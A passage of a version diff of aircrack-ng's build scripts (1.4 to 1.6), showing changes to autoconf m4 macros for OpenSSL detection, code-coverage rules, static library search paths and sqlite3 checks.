-                    OPENSSL_LIBS=`$PKG_CONFIG openssl --libs-only-l 2>/dev/null`
-                    OPENSSL_INCLUDES=`$PKG_CONFIG openssl --cflags-only-I 2>/dev/null`
+            AC_CHECK_LIB([crypto], [OPENSSL_init], [
+                OPENSSL_LIBS="-lssl -lcrypto"
+                OPENSSL_LDFLAGS=""
+
+                AC_CHECK_HEADERS([openssl/crypto.h], [
+                    OPENSSL_INCLUDES=""
                     found=true
+                ])
+            ])
+
+            if ! $found; then
+                # if pkg-config is installed and openssl has installed a .pc file,
+                # then use that information and don't search ssldirs
+                AC_CHECK_TOOL([PKG_CONFIG], [pkg-config])
+                if test x"$PKG_CONFIG" != x""; then
+                    OPENSSL_LDFLAGS=`$PKG_CONFIG openssl --libs-only-L 2>/dev/null`
+                    if test $? = 0; then
+                        OPENSSL_LIBS=`$PKG_CONFIG openssl --libs-only-l 2>/dev/null`
+                        OPENSSL_INCLUDES=`$PKG_CONFIG openssl --cflags-only-I 2>/dev/null`
+                        found=true
+                    fi
                 fi
             fi

aircrack-ng-1.4.tar.gz/build/m4/ax_code_coverage.m4 -> aircrack-ng-1.6.tar.gz/build/m4/ax_code_coverage.m4 Changed

@@ -12,11 +12,11 @@
 #   CODE_COVERAGE_CXXFLAGS and CODE_COVERAGE_LIBS which should be included
 #   in the CPPFLAGS, CFLAGS CXXFLAGS and LIBS/LIBADD variables of every
 #   build target (program or library) which should be built with code
-#   coverage support. Also defines CODE_COVERAGE_RULES which should be
-#   substituted in your Makefile; and $enable_code_coverage which can be
-#   used in subsequent configure output. CODE_COVERAGE_ENABLED is defined
-#   and substituted, and corresponds to the value of the
-#   --enable-code-coverage option, which defaults to being disabled.
+#   coverage support. Also add rules using AX_ADD_AM_MACRO_STATIC; and
+#   $enable_code_coverage which can be used in subsequent configure output.
+#   CODE_COVERAGE_ENABLED is defined and substituted, and corresponds to the
+#   value of the --enable-code-coverage option, which defaults to being
+#   disabled.
 #
 #   Test also for gcov program and create GCOV variable that could be
 #   substituted.
@@ -32,38 +32,24 @@
 #
 #   Makefile.am:
 #
-#     @CODE_COVERAGE_RULES@
+#     include $(top_srcdir)/aminclude_static.am
+#
 #     my_program_LIBS = ... $(CODE_COVERAGE_LIBS) ...
 #     my_program_CPPFLAGS = ... $(CODE_COVERAGE_CPPFLAGS) ...
 #     my_program_CFLAGS = ... $(CODE_COVERAGE_CFLAGS) ...
 #     my_program_CXXFLAGS = ... $(CODE_COVERAGE_CXXFLAGS) ...
 #
-#   This results in a "check-code-coverage" rule being added to any
-#   Makefile.am which includes "@CODE_COVERAGE_RULES@" (assuming the module
-#   has been configured with --enable-code-coverage). Running `make
-#   check-code-coverage` in that directory will run the module's test suite
-#   (`make check`) and build a code coverage report detailing the code which
-#   was touched, then print the URI for the report.
-#
-#   In earlier versions of this macro, CODE_COVERAGE_LDFLAGS was defined
-#   instead of CODE_COVERAGE_LIBS. They are both still defined, but use of
-#   CODE_COVERAGE_LIBS is preferred for clarity; CODE_COVERAGE_LDFLAGS is
-#   deprecated. They have the same value.
-#
-#   In order to generate a code coverage report across your entire project,
-#   you MUST at minimum include the line:
-#
-#   @CODE_COVERAGE_RULES@
+#     clean-local: code-coverage-clean
+#     distclean-local: code-coverage-dist-clean
 #
-#   in every single Makefile.am throughout your project.
-#
-#   NOTE: If mixing non-recursive and recursive automake, then problems
-#   will appear with missing source files, due to one or more LCOV base
-#   directories missing. This mixed-mode will seemingly always have these
-#   errors and is only solved by using recursive make OR non-recursive
-#   make.
+#   This results in a "check-code-coverage" rule being added to any
+#   Makefile.am which do "include $(top_srcdir)/aminclude_static.am"
+#   (assuming the module has been configured with --enable-code-coverage).
+#   Running `make check-code-coverage` in that directory will run the
+#   module's test suite (`make check`) and build a code coverage report
+#   detailing the code which was touched, then print the URI for the report.
 #
-#   This code was derived from Makefile.decl in GLib, originally licenced
+#   This code was derived from Makefile.decl in GLib, originally licensed
 #   under LGPLv2.1+.
 #
 # LICENSE
@@ -73,8 +59,7 @@
 #   Copyright (c) 2012 Christian Persch
 #   Copyright (c) 2012 Paolo Borelli
 #   Copyright (c) 2012 Dan Winship
-#   Copyright (c) 2015 Bastien ROUCARIES
-#   Copyright (C) 2017 Joseph Benden <joe@benden.us>
+#   Copyright (c) 2015,2018 Bastien ROUCARIES
 #
 #   This library is free software; you can redistribute it and/or modify it
 #   under the terms of the GNU Lesser General Public License as published by
@@ -89,124 +74,22 @@
 #   You should have received a copy of the GNU Lesser General Public License
 #   along with this program. If not, see <https://www.gnu.org/licenses/>.
 
-#serial 26
-
-AC_DEFUN([AX_CODE_COVERAGE],[
-	dnl Check for --enable-code-coverage
-	AC_REQUIRE([AC_PROG_SED])
-
-	# allow to override gcov location
-	AC_ARG_WITH([gcov],
-	  [AS_HELP_STRING([--with-gcov[=GCOV]], [use given GCOV for coverage (GCOV=gcov).])],
-	  [_AX_CODE_COVERAGE_GCOV_PROG_WITH=$with_gcov],
-	  [_AX_CODE_COVERAGE_GCOV_PROG_WITH=gcov])
-
-	AC_MSG_CHECKING([whether to build with code coverage support])
-	AC_ARG_ENABLE([code-coverage],
-	  AS_HELP_STRING([--enable-code-coverage],
-	  [Whether to enable code coverage support]),,
-	  enable_code_coverage=no)
-
-	AM_CONDITIONAL([CODE_COVERAGE_ENABLED], [test x$enable_code_coverage = xyes])
-	AC_SUBST([CODE_COVERAGE_ENABLED], [$enable_code_coverage])
-	AC_MSG_RESULT($enable_code_coverage)
-
-	AS_IF([ test "$enable_code_coverage" = "yes" ], [
-		# check for gcov
-		AC_CHECK_TOOL([GCOV],
-		  [$_AX_CODE_COVERAGE_GCOV_PROG_WITH],
-		  [:])
-		AS_IF([test "X$GCOV" = "X:"],
-		  [AC_MSG_ERROR([gcov is needed to do coverage])])
-		AC_SUBST([GCOV])
-
-		dnl Check if gcc is being used
-		AS_IF([ test "$GCC" = "no" ], [
-			AC_MSG_ERROR([not compiling with gcc, which is required for gcov code coverage])
-		])
+#serial 34
 
-		AC_CHECK_PROG([LCOV], [lcov], [lcov])
-		AC_CHECK_PROG([GENHTML], [genhtml], [genhtml])
-
-		AS_IF([ test -z "$LCOV" ], [
-			AC_MSG_ERROR([To enable code coverage reporting you must have lcov installed])
-		])
-
-		AS_IF([ test -z "$GENHTML" ], [
-			AC_MSG_ERROR([Could not find genhtml from the lcov package])
-		])
-
-		dnl Build the code coverage flags
-		dnl Define CODE_COVERAGE_LDFLAGS for backwards compatibility
-		CODE_COVERAGE_CPPFLAGS="-DNDEBUG"
-		CODE_COVERAGE_CFLAGS="-O0 -g -fprofile-arcs -ftest-coverage"
-		CODE_COVERAGE_CXXFLAGS="-O0 -g -fprofile-arcs -ftest-coverage"
-		CODE_COVERAGE_LIBS="-lgcov"
-		CODE_COVERAGE_LDFLAGS="$CODE_COVERAGE_LIBS"
-
-		AC_SUBST([CODE_COVERAGE_CPPFLAGS])
-		AC_SUBST([CODE_COVERAGE_CFLAGS])
-		AC_SUBST([CODE_COVERAGE_CXXFLAGS])
-		AC_SUBST([CODE_COVERAGE_LIBS])
-		AC_SUBST([CODE_COVERAGE_LDFLAGS])
-
-		[CODE_COVERAGE_RULES_CHECK='
-	$(A''M_V_at)$(MAKE) $(AM_MAKEFLAGS) code-coverage-capture TOP_CODE_COVERAGE_OUTPUT_FILE="$(CODE_COVERAGE_OUTPUT_FILE)"
-	$(A''M_V_at)$(MAKE) $(AM_MAKEFLAGS) code-coverage-capture TOP_CODE_COVERAGE_OUTPUT_FILE="$(CODE_COVERAGE_OUTPUT_FILE)"
-	$(A''M_V_at)$(MAKE) $(AM_MAKEFLAGS) code-coverage-join
-	$(A''M_V_at)$(MAKE) $(AM_MAKEFLAGS) code-coverage-remove
-	$(A''M_V_at)$(MAKE) $(AM_MAKEFLAGS) code-coverage-genhtml
-']
-		[CODE_COVERAGE_RULES_CAPTURE='
-	-$(A''M_V_at)$(MAKE) $(AM_MAKEFLAGS) check-am
-	find $(builddir) $ -name "*.o" $ -exec $(GCOV) -i -b -p -r -s $(top_absdir) {} ";"; \
-	$(code_coverage_v_lcov_cap)$(LCOV) $(code_coverage_quiet) $(addprefix --directory ,$(CODE_COVERAGE_DIRECTORY)) --no-recursion --capture --output-file "$(CODE_COVERAGE_OUTPUT_FILE).tmp" --test-name "$(call code_coverage_sanitize,$(PACKAGE_NAME)-$(PACKAGE_VERSION))" --no-checksum --compat-libtool $(CODE_COVERAGE_LCOV_SHOPTS) $(CODE_COVERAGE_LCOV_OPTIONS) --ignore-errors source
-	if test ! -e "$(TOP_CODE_COVERAGE_OUTPUT_FILE).join" -a -s "$(CODE_COVERAGE_OUTPUT_FILE).tmp"; then \
-		cp -v "$(CODE_COVERAGE_OUTPUT_FILE).tmp" "$(TOP_CODE_COVERAGE_OUTPUT_FILE).join"; \
-	fi;
-']
-    [CODE_COVERAGE_RULES_JOIN='
-	find $(builddir) -size +0c -a -name "$(PACKAGE_NAME)-$(PACKAGE_VERSION)-coverage.info.tmp" -exec echo "\"{}\"" ";" | \
-	xargs -L 1 $(LCOV) $(code_coverage_quiet) $(addprefix --directory ,$(CODE_COVERAGE_DIRECTORY)) --no-recursion --output-file "$(CODE_COVERAGE_OUTPUT_FILE).join" --test-name "$(call code_coverage_sanitize,$(PACKAGE_NAME)-$(PACKAGE_VERSION))" --no-checksum --compat-libtool $(CODE_COVERAGE_LCOV_SHOPTS) $(CODE_COVERAGE_LCOV_OPTIONS) --ignore-errors source -a "$(CODE_COVERAGE_OUTPUT_FILE).join" -a
-']
-	  [CODE_COVERAGE_RULES_REMOVE='
-	$(code_coverage_v_lcov_ign)$(LCOV) $(code_coverage_quiet) $(addprefix --directory ,$(CODE_COVERAGE_DIRECTORY)) --no-recursion --remove "$(CODE_COVERAGE_OUTPUT_FILE).join" "/tmp/*" $(CODE_COVERAGE_IGNORE_PATTERN) --output-file "$(CODE_COVERAGE_OUTPUT_FILE)" $(CODE_COVERAGE_LCOV_SHOPTS) $(CODE_COVERAGE_LCOV_RMOPTS)
-']
-    [CODE_COVERAGE_RULES_GENHTML='
-	-@rm -f $(CODE_COVERAGE_OUTPUT_FILE).tmp
-	find $(top_builddir) -size 0c -a -name "*.gcov" -delete
-	$(code_coverage_v_genhtml)LANG=C $(GENHTML) $(code_coverage_quiet) $(addprefix --prefix ,$(CODE_COVERAGE_DIRECTORY)) --output-directory "$(CODE_COVERAGE_OUTPUT_DIRECTORY)" --title "$(PACKAGE_NAME)-$(PACKAGE_VERSION) Code Coverage" --legend --show-details "$(CODE_COVERAGE_OUTPUT_FILE)" $(CODE_COVERAGE_GENHTML_OPTIONS) --ignore-errors source
-	@echo "file://$(CODE_COVERAGE_OUTPUT_DIRECTORY)/index.html"
-']
-		[CODE_COVERAGE_RULES_CLEAN='
-clean: code-coverage-clean
-distclean: code-coverage-clean
-code-coverage-clean:
-	-$(LCOV) --directory $(top_builddir) -z
-	-rm -rf $(CODE_COVERAGE_OUTPUT_FILE) $(CODE_COVERAGE_OUTPUT_FILE).tmp $(CODE_COVERAGE_OUTPUT_FILE).join $(CODE_COVERAGE_OUTPUT_DIRECTORY)
-	-find . $ -name "*.gcda" -o -name "*.gcno" -o -name "*.gcov" $ -delete
-']
-	], [
-		[CODE_COVERAGE_RULES_CHECK='
-	@echo "Need to reconfigure with --enable-code-coverage"
-']
-		CODE_COVERAGE_RULES_CAPTURE="$CODE_COVERAGE_RULES_CHECK"
-		CODE_COVERAGE_RULES_CLEAN=''
-	])
-
-[CODE_COVERAGE_RULES='
+m4_define(_AX_CODE_COVERAGE_RULES,[
+AX_ADD_AM_MACRO_STATIC([
 # Code coverage
 #
 # Optional:
 #  - CODE_COVERAGE_DIRECTORY: Top-level directory for code coverage reporting.
 #    Multiple directories may be specified, separated by whitespace.
-#    (Default: $(top_builddir))
+#    (Default: \$(top_builddir))
 #  - CODE_COVERAGE_OUTPUT_FILE: Filename and path for the .info file generated
 #    by lcov for code coverage. (Default:
-#    $(PACKAGE_NAME)-$(PACKAGE_VERSION)-coverage.info)
+#    \$(PACKAGE_NAME)-\$(PACKAGE_VERSION)-coverage.info)
 #  - CODE_COVERAGE_OUTPUT_DIRECTORY: Directory for generated code coverage
 #    reports to be created. (Default:
-#    $(PACKAGE_NAME)-$(PACKAGE_VERSION)-coverage)
+#    \$(PACKAGE_NAME)-\$(PACKAGE_VERSION)-coverage)
 #  - CODE_COVERAGE_BRANCH_COVERAGE: Set to 1 to enforce branch coverage,
 #    set to 0 to disable it and leave empty to stay with the default.
 #    (Default: empty)
@@ -229,89 +112,161 @@
 #    instance. (Default: $CODE_COVERAGE_GENHTML_OPTIONS_DEFAULT)
 #  - CODE_COVERAGE_IGNORE_PATTERN: Extra glob pattern of files to ignore
 #
-# The generated report will be titled using the $(PACKAGE_NAME) and
-# $(PACKAGE_VERSION). In order to add the current git hash to the title,
+# The generated report will be titled using the \$(PACKAGE_NAME) and
+# \$(PACKAGE_VERSION). In order to add the current git hash to the title,
 # use the git-version-gen script, available online.
-
 # Optional variables
-CODE_COVERAGE_DIRECTORY ?= $(builddir)
-CODE_COVERAGE_OUTPUT_FILE ?= $(abs_builddir)/$(PACKAGE_NAME)-$(PACKAGE_VERSION)-coverage.info
-CODE_COVERAGE_OUTPUT_DIRECTORY ?= $(abs_builddir)/$(PACKAGE_NAME)-coverage
+# run only on top dir
+if CODE_COVERAGE_ENABLED
+ ifeq (\$(abs_builddir), \$(abs_top_builddir))
+CODE_COVERAGE_DIRECTORY ?= \$(top_builddir)
+CODE_COVERAGE_OUTPUT_FILE ?= \$(abs_builddir)/\$(PACKAGE_NAME)-\$(PACKAGE_VERSION)-coverage.info
+CODE_COVERAGE_OUTPUT_DIRECTORY ?= \$(PACKAGE_NAME)-\$(PACKAGE_VERSION)-coverage
+
 CODE_COVERAGE_BRANCH_COVERAGE ?= 1
-CODE_COVERAGE_LCOV_SHOPTS_DEFAULT ?= -b $(abs_srcdir) $(if $(CODE_COVERAGE_BRANCH_COVERAGE),\
---rc lcov_branch_coverage=$(CODE_COVERAGE_BRANCH_COVERAGE))
-CODE_COVERAGE_LCOV_SHOPTS ?= $(CODE_COVERAGE_LCOV_SHOPTS_DEFAULT)
-CODE_COVERAGE_LCOV_OPTIONS_GCOVPATH ?= --gcov-tool "$(GCOV)"
-CODE_COVERAGE_LCOV_OPTIONS_DEFAULT ?= $(CODE_COVERAGE_LCOV_OPTIONS_GCOVPATH)
-CODE_COVERAGE_LCOV_OPTIONS ?= $(CODE_COVERAGE_LCOV_OPTIONS_DEFAULT)
+CODE_COVERAGE_LCOV_SHOPTS_DEFAULT ?= \$(if \$(CODE_COVERAGE_BRANCH_COVERAGE),\
+--rc lcov_branch_coverage=\$(CODE_COVERAGE_BRANCH_COVERAGE))
+CODE_COVERAGE_LCOV_SHOPTS ?= \$(CODE_COVERAGE_LCOV_SHOPTS_DEFAULT)
+CODE_COVERAGE_LCOV_OPTIONS_GCOVPATH ?= --gcov-tool \"\$(GCOV)\"
+CODE_COVERAGE_LCOV_OPTIONS_DEFAULT ?= \$(CODE_COVERAGE_LCOV_OPTIONS_GCOVPATH)
+CODE_COVERAGE_LCOV_OPTIONS ?= \$(CODE_COVERAGE_LCOV_OPTIONS_DEFAULT)
 CODE_COVERAGE_LCOV_RMOPTS_DEFAULT ?=
-CODE_COVERAGE_LCOV_RMOPTS ?= $(CODE_COVERAGE_LCOV_RMOPTS_DEFAULT)
+CODE_COVERAGE_LCOV_RMOPTS ?= \$(CODE_COVERAGE_LCOV_RMOPTS_DEFAULT)
 CODE_COVERAGE_GENHTML_OPTIONS_DEFAULT ?=\
-$(if $(CODE_COVERAGE_BRANCH_COVERAGE),\
---rc genhtml_branch_coverage=$(CODE_COVERAGE_BRANCH_COVERAGE))
-CODE_COVERAGE_GENHTML_OPTIONS ?= $(CODE_COVERAGE_GENHTML_OPTIONS_DEFAULT)
+\$(if \$(CODE_COVERAGE_BRANCH_COVERAGE),\
+--rc genhtml_branch_coverage=\$(CODE_COVERAGE_BRANCH_COVERAGE))
+CODE_COVERAGE_GENHTML_OPTIONS ?= \$(CODE_COVERAGE_GENHTML_OPTIONS_DEFAULT)
 CODE_COVERAGE_IGNORE_PATTERN ?=
 
-GITIGNOREFILES ?=
-GITIGNOREFILES += $(CODE_COVERAGE_OUTPUT_FILE) $(CODE_COVERAGE_OUTPUT_DIRECTORY)
-
-code_coverage_v_lcov_cap = $(code_coverage_v_lcov_cap_$(V))
-code_coverage_v_lcov_cap_ = $(code_coverage_v_lcov_cap_$(AM_DEFAULT_VERBOSITY))
-code_coverage_v_lcov_cap_0 = echo "  LCOV   --capture"\
- $(CODE_COVERAGE_OUTPUT_FILE);
-code_coverage_v_lcov_ign = $(code_coverage_v_lcov_ign_$(V))
-code_coverage_v_lcov_ign_ = $(code_coverage_v_lcov_ign_$(AM_DEFAULT_VERBOSITY))
-code_coverage_v_lcov_ign_0 = echo "  LCOV   --remove /tmp/*"\
- $(CODE_COVERAGE_IGNORE_PATTERN);
-code_coverage_v_genhtml = $(code_coverage_v_genhtml_$(V))
-code_coverage_v_genhtml_ = $(code_coverage_v_genhtml_$(AM_DEFAULT_VERBOSITY))
-code_coverage_v_genhtml_0 = echo "  GEN   " $(CODE_COVERAGE_OUTPUT_DIRECTORY);
-code_coverage_quiet = $(code_coverage_quiet_$(V))
-code_coverage_quiet_ = $(code_coverage_quiet_$(AM_DEFAULT_VERBOSITY))
+GITIGNOREFILES := \$(GITIGNOREFILES) \$(CODE_COVERAGE_OUTPUT_FILE) \$(CODE_COVERAGE_OUTPUT_DIRECTORY)
+code_coverage_v_lcov_cap = \$(code_coverage_v_lcov_cap_\$(V))
+code_coverage_v_lcov_cap_ = \$(code_coverage_v_lcov_cap_\$(AM_DEFAULT_VERBOSITY))
+code_coverage_v_lcov_cap_0 = @echo \"  LCOV   --capture\" \$(CODE_COVERAGE_OUTPUT_FILE);
+code_coverage_v_lcov_ign = \$(code_coverage_v_lcov_ign_\$(V))
+code_coverage_v_lcov_ign_ = \$(code_coverage_v_lcov_ign_\$(AM_DEFAULT_VERBOSITY))
+code_coverage_v_lcov_ign_0 = @echo \"  LCOV   --remove /tmp/*\" \$(CODE_COVERAGE_IGNORE_PATTERN);
+code_coverage_v_genhtml = \$(code_coverage_v_genhtml_\$(V))
+code_coverage_v_genhtml_ = \$(code_coverage_v_genhtml_\$(AM_DEFAULT_VERBOSITY))
+code_coverage_v_genhtml_0 = @echo \"  GEN   \" \"\$(CODE_COVERAGE_OUTPUT_DIRECTORY)\";
+code_coverage_quiet = \$(code_coverage_quiet_\$(V))
+code_coverage_quiet_ = \$(code_coverage_quiet_\$(AM_DEFAULT_VERBOSITY))
 code_coverage_quiet_0 = --quiet
 
 # sanitizes the test-name: replaces with underscores: dashes and dots
-code_coverage_sanitize = $(subst -,_,$(subst .,_,$(1)))
+code_coverage_sanitize = \$(subst -,_,\$(subst .,_,\$(1)))
 
 # Use recursive makes in order to ignore errors during check
-check-code-coverage:'"$CODE_COVERAGE_RULES_CHECK"'
+check-code-coverage:
+	-\$(AM_V_at)\$(MAKE) \$(AM_MAKEFLAGS) -k check
+	\$(AM_V_at)\$(MAKE) \$(AM_MAKEFLAGS) code-coverage-capture
+
+# Capture code coverage data
+code-coverage-capture: code-coverage-capture-hook
+	\$(code_coverage_v_lcov_cap)\$(LCOV) \$(code_coverage_quiet) \$(addprefix --directory ,\$(CODE_COVERAGE_DIRECTORY)) --capture --output-file \"\$(CODE_COVERAGE_OUTPUT_FILE).tmp\" --test-name \"\$(call code_coverage_sanitize,\$(PACKAGE_NAME)-\$(PACKAGE_VERSION))\" --no-checksum --compat-libtool \$(CODE_COVERAGE_LCOV_SHOPTS) \$(CODE_COVERAGE_LCOV_OPTIONS)
+	\$(code_coverage_v_lcov_ign)\$(LCOV) \$(code_coverage_quiet) \$(addprefix --directory ,\$(CODE_COVERAGE_DIRECTORY)) --remove \"\$(CODE_COVERAGE_OUTPUT_FILE).tmp\" \"/tmp/*\" \$(CODE_COVERAGE_IGNORE_PATTERN) --output-file \"\$(CODE_COVERAGE_OUTPUT_FILE)\" \$(CODE_COVERAGE_LCOV_SHOPTS) \$(CODE_COVERAGE_LCOV_RMOPTS)
+	-@rm -f \"\$(CODE_COVERAGE_OUTPUT_FILE).tmp\"
+	\$(code_coverage_v_genhtml)LANG=C \$(GENHTML) \$(code_coverage_quiet) \$(addprefix --prefix ,\$(CODE_COVERAGE_DIRECTORY)) --output-directory \"\$(CODE_COVERAGE_OUTPUT_DIRECTORY)\" --title \"\$(PACKAGE_NAME)-\$(PACKAGE_VERSION) Code Coverage\" --legend --show-details \"\$(CODE_COVERAGE_OUTPUT_FILE)\" \$(CODE_COVERAGE_GENHTML_OPTIONS)
+	@echo \"file://\$(abs_builddir)/\$(CODE_COVERAGE_OUTPUT_DIRECTORY)/index.html\"
+
+code-coverage-clean:
+	-\$(LCOV) --directory \$(top_builddir) -z
+	-rm -rf \"\$(CODE_COVERAGE_OUTPUT_FILE)\" \"\$(CODE_COVERAGE_OUTPUT_FILE).tmp\" \"\$(CODE_COVERAGE_OUTPUT_DIRECTORY)\"
+	-find . \$ -name \"*.gcda\" -o -name \"*.gcno\" -o -name \"*.gcov\" \$ -delete
+
+code-coverage-dist-clean:
 
-code-coverage-join:'"$CODE_COVERAGE_RULES_JOIN"'
+A][M_DISTCHECK_CONFIGURE_FLAGS := \$(A][M_DISTCHECK_CONFIGURE_FLAGS) --disable-code-coverage
+ else # ifneq (\$(abs_builddir), \$(abs_top_builddir))
+check-code-coverage:
 
-code-coverage-remove:'"$CODE_COVERAGE_RULES_REMOVE"'
+code-coverage-capture: code-coverage-capture-hook
 
-code-coverage-genhtml:'"$CODE_COVERAGE_RULES_GENHTML"'
+code-coverage-clean:
 
+code-coverage-dist-clean:
+ endif # ifeq (\$(abs_builddir), \$(abs_top_builddir))
+else #! CODE_COVERAGE_ENABLED
+# Use recursive makes in order to ignore errors during check
+check-code-coverage:
+	@echo \"Need to reconfigure with --enable-code-coverage\"
 # Capture code coverage data
-#am__extra_recursive_targets = code-coverage-capture
-#am__recursive_targets += code-coverage-capture
+code-coverage-capture: code-coverage-capture-hook
+	@echo \"Need to reconfigure with --enable-code-coverage\"
 
-code-coverage-capture-am: code-coverage-capture-hook'"$CODE_COVERAGE_RULES_CAPTURE"'
+code-coverage-clean:
 
-ifneq ($(SUBDIRS),)
-code-coverage-capture: code-coverage-capture-recursive
-else
-code-coverage-capture: code-coverage-capture-am
-endif
+code-coverage-dist-clean:
 
+endif #CODE_COVERAGE_ENABLED
 # Hook rule executed before code-coverage-capture, overridable by the user
 code-coverage-capture-hook:
 
-'"$CODE_COVERAGE_RULES_CLEAN"'
+.PHONY: check-code-coverage code-coverage-capture code-coverage-dist-clean code-coverage-clean code-coverage-capture-hook
+])
+])
+
+AC_DEFUN([_AX_CODE_COVERAGE_ENABLED],[
+	AX_CHECK_GNU_MAKE([],[AC_MSG_ERROR([not using GNU make that is needed for coverage])])
+	AC_REQUIRE([AX_ADD_AM_MACRO_STATIC])
+	# check for gcov
+	AC_CHECK_TOOL([GCOV],
+		  [$_AX_CODE_COVERAGE_GCOV_PROG_WITH],
+		  [:])
+	AS_IF([test "X$GCOV" = "X:"],
+	      [AC_MSG_ERROR([gcov is needed to do coverage])])
+	AC_SUBST([GCOV])
 
-A''M_DISTCHECK_CONFIGURE_FLAGS ?=
-A''M_DISTCHECK_CONFIGURE_FLAGS += --disable-code-coverage
+	dnl Check if gcc is being used
+	AS_IF([ test "$GCC" = "no" ], [
+		AC_MSG_ERROR([not compiling with gcc, which is required for gcov code coverage])
+	      ])
 
-# .PHONY: check-code-coverage code-coverage-capture code-coverage-capture-recursive code-coverage-capture-am code-coverage-join code-coverage-remove code-coverage-genhtml code-coverage-capture-hook code-coverage-clean
-.MAKE: code-coverage-capture-am
+	AC_CHECK_PROG([LCOV], [lcov], [lcov])
+	AC_CHECK_PROG([GENHTML], [genhtml], [genhtml])
 
-.PHONY: code-coverage-capture-am code-coverage-capture  \
-        check-code-coverage code-coverage-join code-coverage-remove code-coverage-genhtml code-coverage-capture-hook code-coverage-clean
+	AS_IF([ test x"$LCOV" = x ], [
+		AC_MSG_ERROR([To enable code coverage reporting you must have lcov installed])
+	      ])
+
+	AS_IF([ test x"$GENHTML" = x ], [
+		AC_MSG_ERROR([Could not find genhtml from the lcov package])
+	])
+
+	dnl Build the code coverage flags
+	dnl Define CODE_COVERAGE_LDFLAGS for backwards compatibility
+	CODE_COVERAGE_CPPFLAGS=""
+	CODE_COVERAGE_CFLAGS="-O0 -g -fprofile-arcs -ftest-coverage"
+	CODE_COVERAGE_CXXFLAGS="-O0 -g -fprofile-arcs -ftest-coverage"
+	CODE_COVERAGE_LIBS="-lgcov"
+
+	AC_SUBST([CODE_COVERAGE_CPPFLAGS])
+	AC_SUBST([CODE_COVERAGE_CFLAGS])
+	AC_SUBST([CODE_COVERAGE_CXXFLAGS])
+	AC_SUBST([CODE_COVERAGE_LIBS])
+])
+
+AC_DEFUN([AX_CODE_COVERAGE],[
+	dnl Check for --enable-code-coverage
+
+	# allow to override gcov location
+	AC_ARG_WITH([gcov],
+	  [AS_HELP_STRING([--with-gcov[=GCOV]], [use given GCOV for coverage (GCOV=gcov).])],
+	  [_AX_CODE_COVERAGE_GCOV_PROG_WITH=$with_gcov],
+	  [_AX_CODE_COVERAGE_GCOV_PROG_WITH=gcov])
+
+	AC_MSG_CHECKING([whether to build with code coverage support])
+	AC_ARG_ENABLE([code-coverage],
+	  AS_HELP_STRING([--enable-code-coverage],
+	  [Whether to enable code coverage support]),,
+	  enable_code_coverage=no)
+
+	AM_CONDITIONAL([CODE_COVERAGE_ENABLED], [test "x$enable_code_coverage" = xyes])
+	AC_SUBST([CODE_COVERAGE_ENABLED], [$enable_code_coverage])
+	AC_MSG_RESULT($enable_code_coverage)
 
-']
+	AS_IF([ test "x$enable_code_coverage" = xyes ], [
+		_AX_CODE_COVERAGE_ENABLED
+	      ])
 
-  am__extra_recursive_targets="code-coverage-capture-recursive"
-  AC_SUBST([am__extra_recursive_targets])
-	AC_SUBST([CODE_COVERAGE_RULES])
-	m4_ifdef([_AM_SUBST_NOTMAKE], [_AM_SUBST_NOTMAKE([CODE_COVERAGE_RULES])])
+	_AX_CODE_COVERAGE_RULES
 ])

aircrack-ng-1.4.tar.gz/build/m4/ax_ext_have_static_lib.m4 -> aircrack-ng-1.6.tar.gz/build/m4/ax_ext_have_static_lib.m4 Changed

@@ -16,7 +16,8 @@
 #
 #   Example:
 #
-#     AX_EXT_HAVE_STATIC_LIB(ZLIB, DEFAULT_STATIC_LIB_SEARCH_PATHS,
+#     AX_EXT_HAVE_STATIC_LIB_DETECT
+#     AX_EXT_HAVE_STATIC_LIB(ZLIB, [${DEFAULT_STATIC_LIB_SEARCH_PATHS}],
 #                            z libz, compress)
 #
 # LICENSE
@@ -51,15 +52,49 @@
 
 #serial 1
 
-m4_define([DUMPMACHINE], m4_esyscmd([gcc -dumpmachine 2>/dev/null || echo]))
-m4_define([DEFAULT_STATIC_LIB_SEARCH_PATHS], [
-	/opt/lib/DUMPMACHINE
-	/opt/lib
-	/usr/local/lib/DUMPMACHINE
-	/usr/local/lib
-	/usr/lib/DUMPMACHINE
-	/usr/lib
-	/lib
+AC_DEFUN([AX_EXT_HAVE_STATIC_LIB_DETECT],
+[
+AC_REQUIRE([AC_CANONICAL_HOST])
+AC_ARG_VAR([STATIC_HOST_ALIAS], [The alias name for host, default @<:@HOST@:>@.])dnl
+AC_ARG_VAR([STATIC_LIBDIR_NAME], [The libdir name for host, default @<:@lib@:>@.])dnl
+
+AC_CACHE_VAL([ext_cv_static_libdir_name], [
+	ext_cv_static_libdir_name="${STATIC_LIBDIR_NAME:-lib}"
+])
+
+AC_CACHE_VAL([ext_cv_default_static_lib_search_paths], [
+	AC_MSG_CHECKING([Default static library search path])
+
+	static_extpath=""
+	if test -n "${STATIC_HOST_ALIAS}"
+	then
+		static_host="${STATIC_HOST_ALIAS}"
+	else
+		if test "${GCC}" = "yes"
+		then
+			static_host=`${CC} -dumpmachine 2>/dev/null`
+			static_extpath=`${CC} -print-search-dirs 2> /dev/null | grep '^libraries' | sed -e 's/@<:@^=@:>@*=//' -e 's/:/ /g'`
+		else
+			static_host="${host}"
+		fi
+	fi
+
+	ext_cv_default_static_lib_search_paths=" \
+		${static_extpath} \
+		/opt/${ext_cv_static_libdir_name}/${static_host} \
+		/opt/${ext_cv_static_libdir_name} \
+		/usr/local/${ext_cv_static_libdir_name}/${static_host} \
+		/usr/local/${ext_cv_static_libdir_name} \
+		/usr/${ext_cv_static_libdir_name}/${static_host} \
+		/usr/${ext_cv_static_libdir_name} \
+		/${ext_cv_static_libdir_name} \
+		/opt/lib/${static_host} \
+		/opt/lib \
+	"
+	AC_MSG_RESULT([${ext_cv_default_static_lib_search_paths}])
+])
+DEFAULT_STATIC_LIB_SEARCH_PATHS="${ext_cv_default_static_lib_search_paths}"
+STATIC_LIBDIR_NAME="${ext_cv_static_libdir_name}"
 ])
 
 AC_DEFUN([AX_EXT_HAVE_STATIC_LIB],

aircrack-ng-1.6.tar.gz/build/m4/ax_file_escapes.m4 Added

aircrack-ng-1.4.tar.gz/build/m4/ax_lib_sqlite3.m4 -> aircrack-ng-1.6.tar.gz/build/m4/ax_lib_sqlite3.m4 Changed

@@ -40,6 +40,7 @@
 
 AC_DEFUN([AX_LIB_SQLITE3],
 [
+    AC_REQUIRE([AX_EXT_HAVE_STATIC_LIB_DETECT])
     AC_ARG_WITH([sqlite3],
         AS_HELP_STRING(
             [--with-sqlite3=@<:@ARG@:>@],
@@ -83,7 +84,7 @@
